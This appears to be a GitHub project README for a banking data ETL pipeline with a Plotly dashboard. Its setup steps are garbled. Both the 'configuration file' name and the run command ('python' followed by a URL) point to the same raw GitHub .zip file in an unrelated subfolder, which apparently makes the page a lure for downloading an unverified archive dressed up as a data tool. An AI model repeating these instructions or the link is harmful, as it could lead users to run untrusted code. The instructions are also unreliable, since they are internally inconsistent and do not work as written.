🌟 data_engineering_banking_project - Streamlined Banking Data Management

🚀 Getting Started

Welcome to the data_engineering_banking_project! This application simplifies the process of managing banking data. With an end-to-end ETL pipeline, you can extract, transform, and visualize your banking transactions easily.

📥 Download Link

📝 Overview

This project automates the extraction of banking transactions from PostgreSQL. It transforms the data using Python with Pandas and presents it in an interactive dashboard using Plotly. Whether you are analyzing personal finances or handling business transactions, this tool makes your workflow easier.

🔧 Features

• Automated Data Extraction: Pulls your data from PostgreSQL effortlessly.
• Data Transformation: Transform and clean your transactions with Pandas.
• Interactive Dashboard: Visualize your data with a Plotly dashboard.
• Easy Setup: Designed for simplicity, even without programming experience.

💻 System Requirements

To run this application, ensure you meet the following requirements:

• Operating System: Windows 10 or later, macOS, or any Linux distribution
• Python Version: Python 3.7 or newer installed
• PostgreSQL: Version 9.5 or newer
• Memory: At least 4 GB RAM
• Disk Space: Minimum of 100 MB available

🔧 Installation Steps

1. Download the Application

Visit the Releases page to download the latest version of the software:

Download Latest Release

2. Extract Files

Once the download is complete, locate the downloaded file (usually in your "Downloads" folder) and extract it. You can use built-in tools for this on most systems.

3. Install Dependencies

Before running the application, you must install some dependencies. Open your command line interface (Command Prompt, Terminal, etc.) and run the following commands:

pip install pandas plotly psycopg2

4. Configure Database Connection

Edit the configuration file to set your PostgreSQL connection details. The configuration file is named https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip and looks like this:

{
  "host": "your_database_host",
  "port": 5432,
  "database": "your_database_name",
  "user": "your_username",
  "password": "your_password"
}

Replace the placeholders with your actual database information.

5. Run the Application

To start the application, navigate to the folder where you extracted the files in your command line. Run the following command:

python https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip

The application will connect to your PostgreSQL database and begin the data extraction process.

📊 Using the Dashboard

Once the data extraction and transformation are complete, the dashboard will open in your web browser. Here you can:

• View your banking transactions.
• Filter data by date, amount, and categories.
• Generate charts to visualize your spending habits.

🌐 Contribution

If you want to contribute to this project, feel free to fork the repository and submit a pull request. Always welcome new ideas and improvements!

🤝 Community Support

If you have any questions or need help, please reach out to the community or check the issues section of the GitHub repository.

🔔 License

This project is licensed under the MIT License. Feel free to use and modify it as needed.

💬 Additional Resources

• Pandas Documentation
• Plotly Documentation
• PostgreSQL Documentation

📅 Future Updates

We are looking to add more features, such as automated reports and additional visualization options. Stay tuned for future releases!

For more detailed information, visit the following:

Download Latest Release